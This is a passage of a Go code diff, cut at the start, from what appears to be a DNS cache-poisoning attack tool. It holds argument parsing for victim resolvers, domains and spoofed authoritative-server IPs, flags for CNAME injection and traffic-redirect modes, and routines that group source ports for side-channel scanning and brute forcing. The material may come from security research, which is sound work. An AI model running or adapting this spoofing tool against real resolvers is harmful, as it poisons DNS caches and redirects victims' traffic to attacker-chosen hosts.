+ ethernetLayer.EthernetType = layers.EthernetTypeIPv6
+ }
+ return handle, nil, nil, ethernetLayer
+ }
+}
+
+func parseArgs() (uint16, bool, uint, uint, net.IP, net.IP, int, uint, string, int, string, string, string) {
+ /* Basic Args */
+ ifaceName = flag.String("i", "", "interface name")
+ localIPv6AddressArg := flag.String("a", "", "local IPv6 address with prefixlen")
+ victimIPArg := flag.String("t", "", "victim resolver IP")
+ victimBackIPListArg := flag.String("bt", "", "victim resolver backend ip list filename")
+ victimFrontIPArg := flag.String("ft", "", "victim resolver front IP")
+ victimDomain = flag.String("d", "", "victim domain name")
+ auxDomain = flag.String("ad", "", "aux domain name")
+ gatewayMacArg := flag.String("g", "", "gateway mac") /* If in the same subnet, this should be the victim MAC address. */
+ interfaceMacArg := flag.String("m", "", "interface mac") /* Local sending MAC. */
+ serverMode := flag.String("l", "", "run in BF server mode, Port 44444. arg=src IP to send packet")
+ serverAddr := flag.String("s", "", "BF server IP and Port if any")
+ remoteBF = flag.Bool("rbf", false, "run bruteforce remotely")
+ remoteQuery = flag.Bool("rqr", false, "run query remotely")
+ floodOnlyMode = flag.Bool("fo", false, "(Test Only)only flooding, in-path")
+ testMode = flag.Bool("test", false, "test mode: assume we are on path and check the vulnerability")
+ enableBF = flag.Bool("bf", true, "enable BF, set to false while testing")
+ victimAuthIPArg := make([]*string, 0)
+ for i := 0; i < NS_NUM; i++ {
+ victimAuthIPArg = append(victimAuthIPArg, flag.String("v"+strconv.Itoa(i), "", "ip of the victim auth server"+strconv.Itoa(i)+", used for spoofing"))
+ }
+ dnsPrivacyMode = flag.Bool("p", false, "if the query is sent like _.xxx.com, please say true, otherwise say false")
+ publicPortMode = flag.Bool("pub", true, "true if we are attacking public facing ports")
+ forwarderInjectMode = flag.Bool("f", false, "true if attacking forwarders (using CNAME injection)")
+ /* TODO: BUG currently support private facing Port only*/
+ redirectAttackMode = flag.Bool("r", false, "redirect attack mode")
+ redirectNewGWArg := flag.String("ngw", "", "the address where we want to redirect traffic to")
+ redirectOldGWArg := flag.String("ogw", "", "the address of the original gw")
+ threadsForPktProcess := flag.Uint("j", 24, "thread used for processing packets")
+ collidingIPArgs := make([][]*string, 0)
+ for i := 0; i < NS_NUM; i++ {
+ collidingIPArgs = append(collidingIPArgs, make([]*string, 0))
+ for j := 0; j < BUCKET_DEPTH; j++ {
+ collidingIPArgs[i] = append(collidingIPArgs[i], flag.String("c"+strconv.Itoa(i)+strconv.Itoa(j), "", "colliding IP"+strconv.Itoa(j)+"for NS"+strconv.Itoa(i)))
+ }
+ }
+ collidingIPArgs2 := make([][]*string, 0)
+ for i := 0; i < NS_NUM; i++ {
+ collidingIPArgs2 = append(collidingIPArgs2, make([]*string, 0))
+ for j := BUCKET_DEPTH; j < BUCKET_DEPTH*2; j++ {
+ collidingIPArgs2[i] = append(collidingIPArgs2[i], flag.String("c"+strconv.Itoa(i)+strconv.Itoa(j), "", "colliding IP"+strconv.Itoa(j)+" for NS"+strconv.Itoa(i)+", used for enhanced cache refreshing"))
+ }
+ }
+ /* Tuning Args */
+ groupSize = flag.Int("S", 1, "the size of probing batch")
+ // Note: verification shouldn't reordered into the next batch, otherwise the result may be inaccurate.
+ startPort = flag.Uint("SP", 33000, "beginning Port of the scanning range")
+ endPort = flag.Uint("EP", 34000, "ending Port of the scanning range")
+ dnsTimeout := flag.Uint("T", 10000, "retry interval for sending queries, in ms")
+ bsStateDuration = flag.Uint("B", 500, "duration of BS state, in ms, reduce this if we scan so fast and using group size = 1")
+ groupGap = flag.Uint("G", 1, "gap between each batch send, in us")
+ packetSendingGap = flag.Uint("SG", 0, "gap between probing packets, in us")
+ verificationGap = flag.Uint("VG", 1, "gap between the last probing packet and the verification, in us")
+ dnsBFTimeGap = flag.Uint("DG", 0, "gap between the dns brute forcing packets, in ns")
+ dnsBFFinishTimeGap = flag.Uint("FG", 1000, "gap after the dns brute force finish, in us")
+ plantingGap = flag.Uint("PG", 0, "gap between the planting packets, in us")
+ plantingFinishGap = flag.Uint("PFG", 10000, "gap after planting packets, in us")
+ fastPlantMode := flag.Bool("F", false, "use alternative order to plant, by default, 1 jiffies is required between each planting packet")
+ mtu := flag.Uint("M", 1490, "mtu used in pkt2big")
+ enhancedRefreshPercentage = flag.Uint("E", 20, "chances for using enhanced refreshing, must be 0-100, additional colliding IP req'd")
+ jitterProtectionDuration = flag.Uint("J", 60, "jitter protection interval in ms, now only available when group size = 1")
+ useLocalIP = flag.Bool("L", true, "use local src IP for the outer layer")
+ /*Seed guessing args*/
+ sendSize := flag.Int("ss", 1024, "the size of the batch")
+ plantDelay := flag.Uint("pd", 0, "delay between each planting packet")
+ pcapInputFile := flag.String("pcap", "", "pcap file name for analysis")
+ seedGuessStep := flag.Int("gs", -1, "which step are we doing")
+ flag.Parse()
+ localIP, localIPv6Subnet, _ = net.ParseCIDR(*localIPv6AddressArg)
+ victimIP = net.ParseIP(*victimIPArg)
+ victimFrontIP = net.ParseIP(*victimFrontIPArg)
+ gatewayMac, _ = net.ParseMAC(*gatewayMacArg)
+ localMac, _ = net.ParseMAC(*interfaceMacArg)
+ redirectNewGW := net.ParseIP(*redirectNewGWArg)
+ redirectOldGW := net.ParseIP(*redirectOldGWArg)
+ for i := 0; i < NS_NUM; i++ {
+ victimAuthIP = append(victimAuthIP, net.ParseIP(*victimAuthIPArg[i]))
+ }
+ for i := 0; i < NS_NUM; i++ {
+ collidingIPs = append(collidingIPs, make([]net.IP, 0))
+ for j := 0; j < BUCKET_DEPTH; j++ {
+ collidingIPs[i] = append(collidingIPs[i], net.ParseIP(*collidingIPArgs[i][j]))
+ }
+ }
+ for i := 0; i < NS_NUM; i++ {
+ collidingIPs2 = append(collidingIPs2, make([]net.IP, 0))
+ for j := 0; j < BUCKET_DEPTH; j++ {
+ collidingIPs2[i] = append(collidingIPs2[i], net.ParseIP(*collidingIPArgs2[i][j]))
+ }
+ }
+
+ return uint16(*mtu), *fastPlantMode, *dnsTimeout, *threadsForPktProcess, redirectNewGW, redirectOldGW, *sendSize, *plantDelay, *pcapInputFile, *seedGuessStep, *victimBackIPListArg, *serverMode, *serverAddr
+}
+
+func portGroupFormer(r *BackendResolver, n *NameServer, startPort uint, endPort uint) {
+ if !*testMode {
+ for {
+ //divide into groups
+ var id uint16 = 0
+ var currentGroupSize uint = 0
+ for i := startPort; i <= endPort; i++ {
+ //TODO: Disabled for Google's scan, too many FPs, re-enabled now
+ if r.alwaysOpenPorts[i] {
+ continue
+ }
+ if currentGroupSize%uint(*groupSize) == 0 {
+ if id != 0 {
+ n.probeChannel <- id
+ for j := 1; j < repeatTimes; j++ {
+ //dup
+ previd := id
+ id = allocateGroupID(n)
+ n.groups[id] = make([]uint16, len(n.groups[previd]))
+ copy(n.groups[id], n.groups[previd])
+ n.probeChannel <- id
+ }
+ }
+ id = allocateGroupID(n)
+ n.groups[id] = make([]uint16, 0)
+ }
+ n.groups[id] = append(n.groups[id], uint16(i))
+ currentGroupSize++
+ }
+
+ //deal with last several cases
+ if /*len(r.groups[id]) != 50 &&*/ len(n.groups[id]) != 0 {
+ //for len(r.groups[id]) != int(GROUP_SIZE) && len(r.groups[id]) != 0 {
+ // r.groups[id] = append(r.groups[id], 65535)
+ //}
+ n.probeChannel <- id
+ for j := 1; j < repeatTimes; j++ {
+ //dup
+ previd := id
+ id = allocateGroupID(n)
+ n.groups[id] = make([]uint16, len(n.groups[previd]))
+ copy(n.groups[id], n.groups[previd])
+ n.probeChannel <- id
+ }
+ }
+ }
+ //if testMode {
+ // break
+ //}
+ }
+}
+
+func backendResolverBuilder(backendIP net.IP, redirectNewGW net.IP, redirectOldGW net.IP) *BackendResolver {
+ if backendIP == nil {
+ return nil
+ }
+ temp := BackendResolver{
+ resolverBackendIP: backendIP,
+ alwaysOpenPorts: make([]bool, 65536),
+ networkXmitLock: &sync.Mutex{},
+ nameServers: make([]*NameServer, 0),
+ redirectNewGW: redirectNewGW,
+ redirectOldGW: redirectOldGW,
+ }
+ for i := 0; i < 65536; i++ {
+ temp.alwaysOpenPorts[i] = false
+ }
+ //temp.alwaysOpenPorts[53] = true
+ temp.alwaysOpenPorts[0] = true
+ temp.alwaysOpenPorts[65535] = true
+ return &temp
+}
+
+func nsBuilder(nameserver net.IP, cIPs []net.IP, cIPs2 []net.IP, mtu uint16, fastMode bool) *NameServer {
+ if nameserver == nil {
+ return nil
+ }
+ temp := &NameServer{
+ nsIP: nameserver,
+ collidingIPs: cIPs,
+ collidingIPs2: cIPs2,
+ mtu: mtu,
+ garbage: make([]byte, mtu-IPICMPHDRLEN+GARBAGE_EXTRA),
+ groups: make([][]uint16, 65536),
+ groupIDCounter: 3,
+ groupIDCounterLock: &sync.Mutex{},
+ groupSendTime: make([]time.Time, 65536),
+ probeChannel: make(chan uint16, 2),
+ priorityProbeChannel: make(chan uint16, 65536),
+ priorityProbeGroupNum: make([]uint16, 65536),
+ priorityProbeGroupNumLock: &sync.Mutex{},
+ bruteForceBuffer: make(chan uint16, 65536),
+ receivedPortidChannel: make(chan uint16, 65536),
+ }
+ for i := 0; i < int(mtu-IPICMPHDRLEN+GARBAGE_EXTRA); i++ {
+ temp.garbage[i] = 1
+ }
+ temp.fastPlantMode = fastMode
+ return temp
+}
+
+func allocateGroupID(n *NameServer) uint16 {
+ n.groupIDCounterLock.Lock()
+ id := n.groupIDCounter
+ n.groupIDCounter++
+ if n.groupIDCounter == 0 {
+ n.groupIDCounter = 4
+ }
+ n.groupIDCounterLock.Unlock()
+ return id
+}
+
+func getBackendResolver(resolverIP net.IP) *BackendResolver {
+ for _, r := range backendResolvers {
+ if CompareIPAddr(r.resolverBackendIP, resolverIP, 0) == 0 {
+ return r
+ }
+ }
+ return nil
+}
+
+func getNS(collisionIP net.IP, r *BackendResolver) *NameServer {
+
+ for _, n := range r.nameServers {
+ for _, cIP := range n.collidingIPs {
+ if CompareIPAddr(cIP, collisionIP, 0) == 0 {
+ return n
+ }
+ }
+ }
+ return nil
+}